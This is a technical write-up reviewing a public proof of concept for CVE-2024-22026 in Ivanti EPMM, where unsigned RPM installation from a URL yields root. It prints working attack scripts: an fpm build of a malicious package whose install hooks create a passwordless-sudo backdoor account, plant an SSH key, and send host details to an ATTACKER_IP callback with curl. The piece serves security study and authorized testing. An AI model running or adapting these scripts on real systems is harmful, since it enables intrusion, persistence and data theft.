CVE-2024-22026: How Unsigned RPM Installation Becomes Root-Level Compromise
Hook
A single CLI command that accepts a URL can hand over complete root access to your enterprise mobility management system—no signature verification, no validation, just blind trust in user input processed with maximum privileges.
Context
Enterprise mobility management platforms like Ivanti EPMM (formerly MobileIron Core) sit at the intersection of corporate IT infrastructure and user devices, making them high-value targets. These appliances typically run hardened Linux distributions with restricted user access and carefully controlled administrative interfaces. The assumption is that if you have CLI access, you’re already a trusted operator performing legitimate system administration tasks.
CVE-2024-22026 shatters this assumption by exploiting a fundamental design flaw in how Ivanti EPMM handles software updates. The appliance provides an RPM installation feature—ostensibly for applying patches and updates—that runs with root privileges but performs zero validation on the packages it installs. This isn’t just missing signature verification; the system will happily fetch and execute arbitrary code from any URL a low-privilege user provides. The securekomodo/CVE-2024-22026 repository demonstrates this vulnerability with a proof-of-concept that transforms a routine package installation into a full privilege escalation attack, creating backdoor accounts and establishing persistent access.
Technical Insight
The exploit’s elegance lies in its simplicity. Rather than hunting for buffer overflows or memory corruption bugs, it weaponizes legitimate RPM package installation mechanics that were designed to run powerful setup scripts. The attack chain begins with crafting a malicious RPM using FPM (Effing Package Management), a tool that abstracts away the complexity of native package building.
Here’s how the exploit constructs its payload:
#!/bin/bash
# Create a malicious RPM with pre/post-install hooks
fpm -s dir -t rpm -n "security-update" -v 1.0 \
--before-install pre-install.sh \
--after-install post-install.sh \
/tmp/dummy=/opt/security-updateThe pre-install script executes before package files are laid down, running with full root privileges. This is where the real damage happens:
#!/bin/bash
# pre-install.sh - Executes as root during RPM installation
useradd -m -s /bin/bash backdoor
echo 'backdoor:P@ssw0rd123!' | chpasswd
echo 'backdoor ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers.d/backdoor
chmod 0440 /etc/sudoers.d/backdoor
# Phone home with system information
curl -X POST http://ATTACKER_IP:8080/callback \
-d "hostname=$(hostname)" \
-d "user=$(whoami)" \
-d "status=preinst_complete"This script creates a backdoor user with passwordless sudo access—a textbook persistence mechanism that survives reboots and gives attackers unrestricted system access. The curl callback serves dual purposes: confirming successful execution and exfiltrating basic reconnaissance data.
The post-install script reinforces persistence and gathers additional intelligence:
#!/bin/bash
# post-install.sh - Final touches after package installation
mkdir -p /home/backdoor/.ssh
echo 'ssh-rsa ATTACKER_PUBLIC_KEY' > /home/backdoor/.ssh/authorized_keys
chown -R backdoor:backdoor /home/backdoor/.ssh
chmod 700 /home/backdoor/.ssh
chmod 600 /home/backdoor/.ssh/authorized_keys
# Report successful installation with system details
curl -X POST http://ATTACKER_IP:8080/callback \
-d "hostname=$(hostname)" \
-d "kernel=$(uname -r)" \
-d "status=postinst_complete"The vulnerability exists because Ivanti EPMM’s RPM installation feature—likely exposed through a CLI command like rpm_install --url <URL>—trusts that any user with CLI access should be able to install packages. There’s no cryptographic signature verification (unlike modern package managers that check GPG signatures), no allowlisting of trusted repositories, and no sandboxing of installation scripts. The code path essentially becomes:
User input → wget/curl to fetch RPM → rpm -i package.rpm → root-level script execution
This represents a classic confused deputy problem: the RPM installer is a highly privileged component (the deputy) being tricked into performing actions on behalf of a less privileged user. The trust boundary violation occurs at the interface between user input and privileged operations, with no security controls mediating the transition.
What makes this particularly dangerous in enterprise environments is that many organizations provide limited CLI access to junior administrators or contractors for troubleshooting purposes, assuming that the shell environment itself prevents dangerous operations. CVE-2024-22026 proves that assumption catastrophically wrong—one command with a URL parameter can escalate a read-only help desk account to root access.
Gotcha
The exploit’s effectiveness depends entirely on pre-existing access to the Ivanti EPMM command-line interface. This isn’t a remote code execution vulnerability; you can’t exploit it from across the internet without first compromising credentials. In many enterprise environments, CLI access is tightly controlled through jump boxes, VPNs, and multi-factor authentication, which significantly raises the bar for initial access. If an attacker has already obtained CLI credentials, there may be other lateral movement opportunities that don’t require exploiting this specific CVE.
The hardcoded nature of the exploit also limits its out-of-the-box utility. The callback URL, attacker IP addresses, SSH keys, and backdoor credentials are all embedded in the shell scripts, requiring customization for each engagement. More critically, the network callbacks assume that the target system can reach the attacker’s infrastructure—network segmentation, egress filtering, or air-gapped environments will cause the telemetry portions to fail silently. While the privilege escalation itself doesn’t depend on callbacks succeeding, attackers lose the confirmation signal that the exploit worked. Additionally, patched systems (Ivanti released fixes in versions 12.1.0.0, 12.0.0.0, and 11.12.0.1) are immune to this attack vector, so reconnaissance to identify vulnerable versions is essential before attempting exploitation.
Verdict
Use if: You’re a penetration tester or red teamer conducting authorized assessments of Ivanti EPMM deployments and need to demonstrate real-world risk to stakeholders who underestimate the impact of local privilege escalation. This POC is also valuable for security researchers studying how package management systems can be weaponized, or for blue teams building detection signatures around suspicious RPM installations and user account creation patterns. The code is clean, well-structured, and easy to modify for specific engagement requirements. Skip if: You’re looking for a remote exploitation tool or don’t already have credentials to the target system. This exploit requires initial access and won’t help you gain that foothold. Also skip if you’re dealing with patched systems or environments with strict egress controls—invest your time in finding other privilege escalation paths instead. Finally, this is strictly an educational tool; using it against systems without explicit authorization is illegal and unethical.
